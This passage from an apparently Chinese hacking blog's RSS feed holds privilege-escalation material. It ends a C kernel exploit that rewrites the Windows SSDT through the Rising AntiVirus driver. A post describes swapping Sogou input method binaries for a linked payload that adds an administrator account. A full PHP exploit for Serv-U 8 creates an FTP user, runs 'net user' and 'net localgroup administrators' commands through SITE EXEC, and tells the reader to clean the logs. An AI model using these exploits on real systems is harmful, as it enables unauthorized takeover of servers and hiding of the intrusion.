<p>DWORD CR0Reg ;</p>
<p>ULONG realssdt ;</p>
<p>void InKerneProc()</p>
<p>{</p>
<p>__asm</p>
<p>{</p>
<p>cli</p>
<p>mov eax, cr0</p>
<p>mov CR0Reg,eax</p>
<p>and eax,0xFFFEFFFF</p>
<p>mov cr0, eax</p>
<p>}</p>
<p>int i;</p>
<p>for (i = 0; i &lt; (int)ServiceNum; i++)</p>
<p>{</p>
<p>*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService;</p>
<p>}</p>
<p>__asm</p>
<p>{</p>
<p>mov eax, CR0Reg</p>
<p>mov cr0, eax</p>
<p>sti</p>
<p>}</p>
<p>}</p>
<p>int main(int argc, char* argv[])</p>
<p>{</p>
<p>printf("Rising AntiVirus 2008 ~ 2010 n"</p>
<p>"Local Privilege Escalation Vulnerability Proof Of Concept Exploitn 2010-1-27n");</p>
<p>g_RsGdiHandle = CreateFile("[url=]\\.\RSNTGDI[/url]" ,</p>
<p>0,</p>
<p>FILE_SHARE_READ | FILE_SHARE_WRITE ,</p>
<p>0,</p>
<p>OPEN_EXISTING , 0 , 0 );</p>
<p>if (g_RsGdiHandle == INVALID_HANDLE_VALUE)</p>
<p>{</p>
<p>return 0 ;</p>
<p>}</p>
<p>SYSTEM_MODULE_INFORMATION ModuleInfo ;</p>
<p>// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address</p>
<p>HMODULE hlib = GetModuleHandle("ntdll.dll");</p>
<p>PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");</p>
<p>ULONG infosize = sizeof(ModuleInfo);</p>
<p>__asm</p>
<p>{</p>
<p>push 0</p>
<p>push infosize</p>
<p>lea eax , ModuleInfo</p>
<p>push eax</p>
<p>push 11</p>
<p>call pNtQuerySystemInformation</p>
<p>}</p>
<p>HMODULE KernelHandle ;</p>
<p>LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);</p>
<p>// Load the kernel image specified</p>
<p>KernelHandle = LoadLibrary(ntosname);</p>
<p>if (KernelHandle == 0 )</p>
<p>{</p>
<p>return 0 ;</p>
<p>}</p>
<p>ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");</p>
<p>if (KeSSDT == 0 )</p>
<p>{</p>
<p>return 0 ;</p>
<p>}</p>
<p>ULONG ImageBase = 0 ;</p>
<p>ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &amp;ImageBase);</p>
<p>if (KiSSDT == 0 )</p>
<p>{</p>
<p>return 0 ;</p>
<p>}</p>
<p>KiSSDT += (ULONG)KernelHandle;</p>
<p>ServiceNum = 0x11c ;</p>
<p>ULONG i ;</p>
<p>for (i = 0 ; i &lt; ServiceNum ; i ++)</p>
<p>{</p>
<p>OrgService = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase;</p>
<p>}</p>
<p>realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;</p>
<p>SetThreadAffinityMask(GetCurrentThread () , 0 ) ;</p>
<p>AddCallGate();</p>
<p>IntoR0(InKerneProc);</p>
<p>return 0;</p>
<p>}
</p></blockquote>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1841.html" title="xp_hello.dll(sa) 提权">xp_hello.dll(sa) 提权</a></li><li>2010年06月10日 -- <a href="http://www.4shell.org/archives/1777.html" title="你还敢执行txt文件吗？Windows 0day ">你还敢执行txt文件吗？Windows 0day </a></li><li>2010年05月21日 -- <a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1723.html" title="rar.exe在提权中的妙用">rar.exe在提权中的妙用</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1722.html" title="Shopex V4.8.4 V4.8.5 0Day 通杀">Shopex V4.8.4 V4.8.5 0Day 通杀</a></li><li>2010年04月20日 -- <a href="http://www.4shell.org/archives/1718.html" title="沙盒提权的小tips">沙盒提权的小tips</a></li><li>2010年04月1日 -- <a href="http://www.4shell.org/archives/1641.html" title="PDF最新0day">PDF最新0day</a></li><li>2010年03月24日 -- <a href="http://www.4shell.org/archives/1632.html" title="Firefox 3.6 0day被补了">Firefox 3.6 0day被补了</a></li><li>2010年03月10日 -- <a href="http://www.4shell.org/archives/1615.html" title="DedeCms v5.5 0day">DedeCms v5.5 0day</a></li><li>2010年01月20日 -- <a href="http://www.4shell.org/archives/1481.html" title="IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告">IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1548.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>关于搜狗拼音输入法提权的应用</title>
		<link>http://www.4shell.org/archives/1345.html</link>
		<comments>http://www.4shell.org/archives/1345.html#comments</comments>
		<pubDate>Tue, 22 Dec 2009 11:48:24 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[搜狗拼音]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1345.html</guid>
		<description><![CDATA[朋友提权上遇到困难，2003系统，常规方法都无效。能访问的目录只有网站目录和C:Program Files。所以我仔细看了下Program Files的所有文件夹，搜狗输入法的目录( C:Program FilesSogouInput4.3.0.3315 )是唯一一个有权限写入编辑的目录。那么替换里面的执行文件就是目前唯一方法了。 乍看这目录，显然自动升级程序 pinyinup.exe 应该是首选，在自己机器上测试了一下，用计算器替换了源文件，不过等了半天不运行，重启也一样。虽然肯定会运行，但还是希望有更有效率的方法。仔细看了一 下，每次启动系统后，搜狗的ImeUtil.exe 都会启动，那就替换它了，结果肯定是成功的。但感觉不够，越多可换的就越好。让效率达到最高。这时觉得这种简单的事情应该有人已经做过了，百度一下取取 经，不出所料，已经有人这么做过了，这位仁兄替换的也是PinyinUp.exe，但这样就满足了，没有继续了。 除了imeutil.exe ， pinyinup.exe 之外还有几个DLL文件。肯定是要加载的。找了popup.dll下手，做好的popup.dll 替换了原先的，重启测试，执行了。如果替换3个的话，我想达到效果的速度会快一些 做了个imeutil.exe 和 popup.dll ，供懒人使用，建议替换之前先备份原文件，达到目的后恢复原状。成功执行的话会在系统中添加一个管理员，用户名和密码都是sunwear 附件地址：sogou.rar 相关文章2010年08月26日 -- xp_hello.dll(sa) 提权2010年04月23日 -- rar.exe在提权中的妙用2010年04月20日 -- 沙盒提权的小tips2010年01月31日 -- 瑞星本地提权通杀利用代码2009年08月5日 -- Serv-U FTP Server v8 本地提权2009年07月23日 -- 针对Dbowner权限下的提权脚本(转)2009年05月14日 -- 关于html本地权限问题2008年10月16日 -- Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)2008年10月10日 -- 提权的一些小集合2007年12月10日 -- sa 无xp_cmdshell下提限又一简单方法]]></description>
			<content:encoded><![CDATA[<p>朋友提权上遇到困难，2003系统，常规方法都无效。能访问的目录只有网站目录和C:Program Files。所以我仔细看了下Program Files的所有文件夹，搜狗输入法的目录( C:Program FilesSogouInput4.3.0.3315 )是唯一一个有权限写入编辑的目录。那么替换里面的执行文件就是目前唯一方法了。</p>
<p>乍看这目录，显然自动升级程序 pinyinup.exe 应该是首选，在自己机器上测试了一下，用计算器替换了源文件，不过等了半天不运行，重启也一样。虽然肯定会运行，但还是希望有更有效率的方法。仔细看了一 下，每次启动系统后，搜狗的ImeUtil.exe 都会启动，那就替换它了，结果肯定是成功的。但感觉不够，越多可换的就越好。让效率达到最高。这时觉得这种简单的事情应该有人已经做过了，百度一下取取 经，不出所料，已经有人这么做过了，这位仁兄替换的也是PinyinUp.exe，但这样就满足了，没有继续了。</p>
<p><span id="more-1345"></span></p>
<p>除了imeutil.exe ， pinyinup.exe 之外还有几个DLL文件。肯定是要加载的。找了popup.dll下手，做好的popup.dll 替换了原先的，重启测试，执行了。如果替换3个的话，我想达到效果的速度会快一些</p>
<p>做了个imeutil.exe 和 popup.dll ，供懒人使用，建议替换之前先备份原文件，达到目的后恢复原状。成功执行的话会在系统中添加一个管理员，用户名和密码都是sunwear</p>
<p>附件地址：<a href="http://www.4shell.org/upload/20091222sogou.rar">sogou.rar</a></p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1841.html" title="xp_hello.dll(sa) 提权">xp_hello.dll(sa) 提权</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1723.html" title="rar.exe在提权中的妙用">rar.exe在提权中的妙用</a></li><li>2010年04月20日 -- <a href="http://www.4shell.org/archives/1718.html" title="沙盒提权的小tips">沙盒提权的小tips</a></li><li>2010年01月31日 -- <a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li><li>2009年08月5日 -- <a href="http://www.4shell.org/archives/998.html" title="Serv-U FTP Server v8 本地提权">Serv-U FTP Server v8 本地提权</a></li><li>2009年07月23日 -- <a href="http://www.4shell.org/archives/937.html" title="针对Dbowner权限下的提权脚本(转)">针对Dbowner权限下的提权脚本(转)</a></li><li>2009年05月14日 -- <a href="http://www.4shell.org/archives/775.html" title="关于html本地权限问题">关于html本地权限问题</a></li><li>2008年10月16日 -- <a href="http://www.4shell.org/archives/429.html" title="Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)">Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)</a></li><li>2008年10月10日 -- <a href="http://www.4shell.org/archives/340.html" title="提权的一些小集合">提权的一些小集合</a></li><li>2007年12月10日 -- <a href="http://www.4shell.org/archives/257.html" title="sa 无xp_cmdshell下提限又一简单方法">sa 无xp_cmdshell下提限又一简单方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1345.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Serv-U FTP Server v8 本地提权</title>
		<link>http://www.4shell.org/archives/998.html</link>
		<comments>http://www.4shell.org/archives/998.html#comments</comments>
		<pubDate>Wed, 05 Aug 2009 06:53:48 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Serv-U]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/998.html</guid>
		<description><![CDATA[作者：空虚浪子心 发布日期：2009-08-05 更新日期：2009-08-05 受影响系统： serv-u8 不受影响系统： 其他版本不受影响 描述： 看cnbeta发现su出8这个版本了。 想想以前写过一个7的本地提权。 不知道8有什么安全方面的更改。 下载来研究下，发现居然还是可以提权的，只是su7的那个不能直接用，稍微修改了下执行的流程。 Su8的管理平台是http的，继承了su7的方式。 抓包，分析，发现了以下路程是可以利用的。 1， 管理员从管理控制台打开web页面时，是不需要验证密码的。 2， 管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&#38;Language=zh,CN&#38;LocalAdmin=1” 3， 管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。 4， 管理员添加了用户的这个包和设置权限这个包，是分开的。 所以，我可以抓包然后转换成php的socket连接post出去。 最后在用经典的ftp登陆，exec命令。达到提权。 前面su7已经说了很多，这里简单的说下好了。 .....登陆什么的。 1，获取ID。 2，给这个id添加权限。 3，给这个id赋予用户名，密码，目录，权限。 4，登陆后执行系统命令。 这段代码是不能直接当工具使用的。 &#60;*来源：kxlzx（www.inbreak.net） *&#62; 测试方法： 以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！ &#60;? /* serv-u 8 local exp ver 1.0 如果你在自己的服务器上发现这个文件，厄。。。那太遗憾了，别来找我。 这个文件到处都是，人人都能拿到。 */ ?&#62; &#60;html&#62; &#60;title&#62;Serv-u 8 local exp ver 1.0&#60;/title&#62; &#60;body&#62; &#60;script&#62; function fun_showDiv(show) { [...]]]></description>
			<content:encoded><![CDATA[<p>作者：<a href="http://www.inbreak.net/show-157-1.html" target="_blank">空虚浪子心</a></p>
<p><strong>发布日期：</strong>2009-08-05<br />
<strong>更新日期：</strong>2009-08-05</p>
<p><strong>受影响系统：</strong><br />
serv-u8</p>
<p><strong>不受影响系统：</strong><br />
其他版本不受影响</p>
<p><strong>描述：</strong><br />
看cnbeta发现su出8这个版本了。<br />
想想以前写过一个7的本地提权。<br />
不知道8有什么安全方面的更改。<br />
下载来研究下，发现居然还是可以提权的，只是su7的那个不能直接用，稍微修改了下执行的流程。</p>
<p>Su8的管理平台是http的，继承了su7的方式。<br />
抓包，分析，发现了以下路程是可以利用的。<br />
1， 管理员从管理控制台打开web页面时，是不需要验证密码的。<br />
2， 管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&amp;Language=zh,CN&amp;LocalAdmin=1”<br />
3， 管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。<br />
4， 管理员添加了用户的这个包和设置权限这个包，是分开的。<br />
所以，我可以抓包然后转换成php的socket连接post出去。<br />
最后在用经典的ftp登陆，exec命令。达到提权。</p>
<p>前面su7已经说了很多，这里简单的说下好了。<br />
.....登陆什么的。<br />
1，获取ID。<br />
2，给这个id添加权限。<br />
3，给这个id赋予用户名，密码，目录，权限。<br />
4，登陆后执行系统命令。</p>
<p>这段代码是不能直接当工具使用的。</p>
<p>&lt;*来源：kxlzx（<a href="http://www.inbreak.net/">www.inbreak.net</a>）<br />
*&gt;</p>
<p><strong>测试方法：</strong></p>
<p><strong>以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！</strong></p>
<p><span id="more-998"></span></p>
<blockquote><p>&lt;?<br />
/*<br />
serv-u 8 local exp ver 1.0<br />
如果你在自己的服务器上发现这个文件，厄。。。那太遗憾了，别来找我。<br />
这个文件到处都是，人人都能拿到。<br />
*/</p>
<p>?&gt;<br />
&lt;html&gt;<br />
&lt;title&gt;Serv-u 8 local exp ver 1.0&lt;/title&gt;<br />
&lt;body&gt;<br />
&lt;script&gt;<br />
function fun_showDiv(show)<br />
{<br />
document.getElementById(show).style.display="block";<br />
}<br />
&lt;/script&gt;<br />
&lt;b&gt;Serv-u 8 local exp ver 1.0&lt;/b&gt;<br />
&lt;form id="form1" name="form1" method="post" action="?"&gt;<br />
&lt;p&gt;&lt;a href="#" onclick="fun_showDiv('adminpassdiv')"&gt;管理员密码&lt;/a&gt;<br />
&lt;input type="text" name="admin_pwd" value="" /&gt;<br />
&lt;/p&gt;<br />
&lt;p&gt;直接提权！<br />
&lt;input type="submit" name="cmd" value="提权" /&gt;<br />
&lt;a href="#" onclick="fun_showDiv('QAdiv')"&gt;QA&lt;/a&gt;<br />
&lt;/p&gt;<br />
&lt;pre&gt;</p>
<p>&lt;?</p>
<p>//Global var<br />
$port=43958;<br />
$host="127.0.0.1";<br />
$sessionid="";<br />
$getuserid="";<br />
$ftpport=21;<br />
$ftpuser="lalala_hacked";<br />
$ftppwd=$_POST['admin_pwd'];<br />
$exec_addUser="site exec c:/windows/system32/net.exe user ".$ftpuser." ".$ftppwd." /add";<br />
$exec_addGroup="site exec c:/windows/system32/net.exe localgroup administrators ".$ftpuser."  /add";</p>
<p>if($_POST['cmd']) {</p>
<p>//login-----------------------------------------<br />
$sock_login = fsockopen($host, $port);<br />
$URL='/Web%20Client/Login.xml?Command=Login&amp;Sync=1543543543543543';<br />
$post_data_login['user'] = "";<br />
$post_data_login['pword'] = $ftppwd;<br />
$post_data_login['language'] = "zh%2CCN&amp;";<br />
$ref="<a href="http://&quot;.$host.&quot;:&quot;.$port.&quot;/?Session=39893&amp;Language=zh,CN&amp;LocalAdmin=1">http://".$host.":".$port."/?Session=39893&amp;Language=zh,CN&amp;LocalAdmin=1</a>";<br />
$postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);<br />
fputs($sock_login, $postStr);<br />
$result = fread($sock_login, 1280);<br />
$sessionid = getmidstr("&lt;sessionid&gt;","&lt;/sessionid&gt;",$result);<br />
if ($sessionid!="")<br />
echo "登陆成功！";<br />
fclose($sock_login);<br />
//login-----------------------------------------</p>
<p>//getOrganizationId-------------------------------<br />
$OrganizationId="";<br />
$sock_OrganizationId = fsockopen($host, $port);<br />
$URL='/Admin/ServerUsers.htm?Page=1';<br />
$postStr = createRequest($port,$host,$URL,"",$sessionid,"");<br />
fputs($sock_OrganizationId, $postStr);<br />
$resultOrganizationId="";<br />
while(!feof($sock_OrganizationId)) {<br />
$result = fread($sock_OrganizationId, 1024);<br />
$resultOrganizationId=$resultOrganizationId.$result;<br />
}<br />
$strTmp = "OrganizationUsers.xml&amp;ID=";<br />
$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);<br />
$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,"\""));<br />
fclose($sock_OrganizationId);<br />
if ($OrganizationId!="")<br />
echo "获取OrganizationId".$OrganizationId."成功！";<br />
//getOrganizationId-------------------------------</p>
<p>//getuserid---------------------------------------<br />
$getuserid="";<br />
$sock_getuserid = fsockopen($host, $port);<br />
$URL="/Admin/XML/User.xml?Command=AddObject&amp;Object=COrganization.".$OrganizationId.".User&amp;Temp=1&amp;Sync=546666666666666663";<br />
$ref="<a href="http://&quot;.$host.&quot;:&quot;.$port.&quot;/Admin/ServerUsers.htm?Page=1">http://".$host.":".$port."/Admin/ServerUsers.htm?Page=1</a>";<br />
$post_data_getuserid="";<br />
$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);<br />
fputs($sock_getuserid, $postStr);<br />
$result = fread($sock_getuserid, 1280);<br />
$result = getmidstr("&lt;var name=\"ObjectID\" val=\"","\" /&gt;",$result);<br />
fclose($sock_getuserid);<br />
$getuserid = $result;<br />
if ($getuserid!="")<br />
echo "获取用户ID".$getuserid."成功！";<br />
//getuserid---------------------------------------</p>
<p>//addpower-----------------------------------------<br />
$sock_addpower = fsockopen($host, $port);<br />
$URL="/Admin/XML/Result.xml?Command=AddObject&amp;Object=CUser.".$getuserid.".DirAccess&amp;Sync=1227081437828";<br />
$post_data_addpower['Access'] = "7999";<br />
$post_data_addpower['MaxSize'] = "0";<br />
$post_data_addpower['Dir'] = "c:\\";<br />
$post_data_addpower['undefined'] = "undefined";<br />
$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,"<a href="http://127.0.0.1&quot;.&quot;:&quot;.$port.&quot;/Admin/ServerUsers.htm?Page=1">http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1</a>");<br />
fputs($sock_addpower, $postStr,strlen($postStr));<br />
$result = fread($sock_addpower, 1280);<br />
fclose($sock_addpower);</p>
<p>echo "添加权限成功！";</p>
<p>//addpower-----------------------------------------</p>
<p>//adduser-----------------------------------------<br />
$sock_adduser = fsockopen($host, $port);<br />
$URL="/Admin/XML/Result.xml?Command=UpdateObject&amp;Object=COrganization.".$OrganizationId.".User.".$getuserid."&amp;Sync=1227071190250";<br />
$post_data_adduser['LoginID'] = $ftpuser;<br />
$post_data_adduser['FullName'] = "";<br />
$post_data_adduser['Password'] = 'hahaha';<br />
$post_data_adduser['ComboPasswordType'] = "%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81";<br />
$post_data_adduser['PasswordType'] = "0";<br />
$post_data_adduser['ComboAdminType'] = "%E6%97%A0%E6%9D%83%E9%99%90";<br />
$post_data_adduser['AdminType'] = "";<br />
$post_data_adduser['ComboHomeDir'] = "/c:";<br />
$post_data_adduser['HomeDir'] = "/c:";<br />
$post_data_adduser['ComboType'] = "%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7";<br />
$post_data_adduser['Type'] = "0";<br />
$post_data_adduser['ExpiresOn'] = "0";<br />
$post_data_adduser['ComboWebClientStartupMode'] = "%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF";<br />
$post_data_adduser['WebClientStartupMode'] = "";<br />
$post_data_adduser['LockInHomeDir'] = "0";<br />
$post_data_adduser['Enabled'] = "1";<br />
$post_data_adduser['AlwaysAllowLogin'] = "1";<br />
$post_data_adduser['Description'] = "";<br />
$post_data_adduser['IncludeRespCodesInMsgFiles'] = "";<br />
$post_data_adduser['ComboSignOnMessageFilePath'] = "";<br />
$post_data_adduser['SignOnMessageFilePath'] = "";<br />
$post_data_adduser['SignOnMessage'] = "";<br />
$post_data_adduser['SignOnMessageText'] = "";<br />
$post_data_adduser['ComboLimitType'] = "%E8%BF%9E%E6%8E%A5";<br />
$post_data_adduser['LimitType'] = "Connection";<br />
$post_data_adduser['QuotaBytes'] = "0";<br />
$post_data_adduser['Quota'] = "0";<br />
$post_data_adduser['Access'] = "7999";<br />
$post_data_adduser['MaxSize'] = "0";<br />
$post_data_adduser['Dir'] = "%25HOME%25";<br />
$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,"<a href="http://127.0.0.1&quot;.&quot;:&quot;.$port.&quot;/Admin/ServerUsers.htm?Page=1">http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1</a>");<br />
fputs($sock_adduser, $postStr,strlen($postStr));<br />
$result = fread($sock_adduser, 1280);<br />
fclose($sock_adduser);</p>
<p>echo "添加用户成功！";<br />
//adduser-----------------------------------------</p>
<p>//exec-------------------------------<br />
$sock_exec = fsockopen("127.0.0.1", $ftpport, &amp;$errno, &amp;$errstr, 10);<br />
$recvbuf = fgets($sock_exec, 1024);<br />
$sendbuf = "USER ".$ftpuser."";<br />
fputs($sock_exec, $sendbuf, strlen($sendbuf));<br />
$recvbuf = fgets($sock_exec, 1024);</p>
<p>$sendbuf = "PASS hahaha";<br />
fputs($sock_exec, $sendbuf, strlen($sendbuf));<br />
$recvbuf = fgets($sock_exec, 1024);</p>
<p>$sendbuf = $exec_addUser."";<br />
fputs($sock_exec, $sendbuf, strlen($sendbuf));<br />
$recvbuf = fread($sock_exec, 1024);<br />
echo "执行".$exec_addUser."返回了$recvbuf";<br />
fclose($sock_exec);</p>
<p>$sock_exec = fsockopen("127.0.0.1", $ftpport, &amp;$errno, &amp;$errstr, 10);<br />
$recvbuf = fgets($sock_exec, 1024);<br />
$sendbuf = "USER ".$ftpuser."";<br />
fputs($sock_exec, $sendbuf, strlen($sendbuf));<br />
$recvbuf = fgets($sock_exec, 1024);</p>
<p>$sendbuf = "PASS hahaha";<br />
fputs($sock_exec, $sendbuf, strlen($sendbuf));<br />
$recvbuf = fgets($sock_exec, 1024);</p>
<p>$sendbuf = $exec_addGroup."";<br />
fputs($sock_exec, $sendbuf, strlen($sendbuf));<br />
$recvbuf = fread($sock_exec, 1024);</p>
<p>echo "执行".$exec_addGroup."返回了$recvbuf";<br />
fclose($sock_exec);<br />
echo "好了，自己3389上去清理ftp用户日志吧！";<br />
//exec-------------------------------</p>
<p>}</p>
<p>/** function createRequest<br />
@port_post : administrator port $port=43958;<br />
@host_post : host $host="127.0.0.1";<br />
@URL_post : target $URL='/Web%20Client/Login.xml?Command=Login&amp;Sync=1543543543543543';<br />
@post_data_post : arraylist $post_data['user'] = "";...<br />
@return httprequest string<br />
*/<br />
function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){<br />
$data_string="";<br />
if ($post_data_post!="")<br />
{<br />
foreach($post_data_post as $key=&gt;$value)<br />
{<br />
$values[]="$key=".urlencode($value);<br />
}<br />
$data_string=implode("",$values);<br />
}<br />
$request.="POST ".$URL_post." HTTP/1.1";<br />
$request.="Host: ".$host_post."";<br />
$request.="Referer: ".$referer."";<br />
$request.="Content-type: application/x-www-form-urlencoded";<br />
$request.="Content-length: ".strlen($data_string)."";<br />
$request.="User-Agent: Serv-U";<br />
$request.="x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)";<br />
$request.="Accept: */*";<br />
$request.="Cache-Contro: no-cache";<br />
$request.="UA-CPU: x86";</p>
<p>if ($sessionid!="")<br />
{<br />
$request.="Cookie: Session=".$sessionid."";<br />
}<br />
$request.="";<br />
$request.=$data_string."";</p>
<p>return $request;<br />
}</p>
<p>//getMidfor2str copy from internet<br />
function getmidstr($L,$R,$str)<br />
{<br />
$int_l=strpos($str,$L);<br />
$int_r=strpos($str,$R);<br />
If ($int_l&gt;-1&amp;&amp;$int_l&gt;-1)<br />
{<br />
$str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));<br />
return $str_put;<br />
}<br />
else<br />
return "没找到需要的变量";<br />
}<br />
?&gt;<br />
&lt;/pre&gt;<br />
&lt;/form&gt;<br />
&lt;div id="adminpassdiv" style="display:none"&gt;<br />
&lt;pre&gt;<br />
默认为空，如果密码为空，&lt;b&gt;填什么都能进去。&lt;/b&gt;<br />
如果修改过，管理员密码默认会在这里：<br />
&lt;b&gt;C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive&lt;/b&gt;<br />
文件中找到一个MD5密码值。<br />
C:\Program Files\RhinoSoft.com\Serv-U<br />
是su的根目录。<br />
密码值的样式为(假设是123456)<br />
kx#######################<br />
#代表123456的32位MD5加密，而kx则是su对md5的密码算法改进的随机2位字符。<br />
破解后的密码为&lt;b&gt;kx&lt;/b&gt;123456，去掉kx就是密码了。<br />
你可以针对这个加密生成字典。</p>
<p>&lt;/pre&gt;<br />
&lt;/div&gt;<br />
&lt;div id="QAdiv" style="display:none"&gt;<br />
&lt;pre&gt;<br />
&lt;b&gt;提权的原理？&lt;/b&gt;<br />
Su8的管理平台是http的，继承了su7的方式。<br />
抓包，分析，发现了以下路程是可以利用的。<br />
1，  管理员从管理控制台打开web页面时，是不需要验证密码的。<br />
2，  管理员如果用某URL打开web页面时，虽然需要输入密码，但是无论输入什么，都可以进入。“/?Session=39893&amp;Language=zh,CN&amp;LocalAdmin=1”<br />
3，  管理员可以添加用户有两种，一种是全局用户，一种是某个域下的用户。而权限设置也是两种，一种是全局，一种是针对用户。<br />
4，  管理员添加了用户的这个包和设置权限这个包，是分开的。<br />
所以，我可以抓包然后转换成php的socket连接post出去。<br />
最后在用经典的ftp登陆，exec命令。达到提权。</p>
<p>前面su7已经说了很多，这里简单的说下好了。<br />
.....登陆什么的。<br />
1，获取ID。<br />
2，给这个id添加权限。<br />
3，给这个id赋予用户名，密码，目录，权限。<br />
4，登陆后执行系统命令。</p>
<p>&lt;b&gt;为啥我明明显示成功了，但是却提不上去？&lt;/b&gt;<br />
这要看错误代码了，这里偶很惭愧，并没有写详细的错误代码判断。<br />
一般有以下几种情况：<br />
1，可能是因为管理员密码不对。<br />
参照管理员密码的连接。<br />
2，可能是因为管理员限制了执行SITE EXEC。<br />
有待程序修改，程序可以加一个让他不限制的功能。<br />
3，可能是程序问题。</p>
<p>&lt;/pre&gt;<br />
&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</p></blockquote>
<p>建议：<br />
目前厂商没有任何补丁，要不大家再等等？<br />
不过以前SU7本地溢出推出来，也没见到什么动静。-_-!<br />
先把本地管理密码改复杂点应付着吧。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2007年11月24日 -- <a href="http://www.4shell.org/archives/249.html" title="SERV-U 6.4提权方法,通杀SERV-U版本">SERV-U 6.4提权方法,通杀SERV-U版本</a></li><li>2006年10月7日 -- <a href="http://www.4shell.org/archives/50.html" title="Serv-U提权综合工具">Serv-U提权综合工具</a></li><li>2006年09月21日 -- <a href="http://www.4shell.org/archives/12.html" title="Serv-U本地权限提升的ASP实现">Serv-U本地权限提升的ASP实现</a></li><li>2010年08月26日 -- <a href="http://www.4shell.org/archives/1841.html" title="xp_hello.dll(sa) 提权">xp_hello.dll(sa) 提权</a></li><li>2010年04月23日 -- <a href="http://www.4shell.org/archives/1723.html" title="rar.exe在提权中的妙用">rar.exe在提权中的妙用</a></li><li>2010年04月20日 -- <a href="http://www.4shell.org/archives/1718.html" title="沙盒提权的小tips">沙盒提权的小tips</a></li><li>2010年01月31日 -- <a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li><li>2009年12月22日 -- <a href="http://www.4shell.org/archives/1345.html" title="关于搜狗拼音输入法提权的应用">关于搜狗拼音输入法提权的应用</a></li><li>2009年07月23日 -- <a href="http://www.4shell.org/archives/937.html" title="针对Dbowner权限下的提权脚本(转)">针对Dbowner权限下的提权脚本(转)</a></li><li>2009年05月14日 -- <a href="http://www.4shell.org/archives/775.html" title="关于html本地权限问题">关于html本地权限问题</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/998.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>针对Dbowner权限下的提权脚本(转)</title>
		<link>http://www.4shell.org/archives/937.html</link>
		<comments>http://www.4shell.org/archives/937.html#comments</comments>
		<pubDate>Thu, 23 Jul 2009 10:54:05 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[提权]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/937.html</guid>
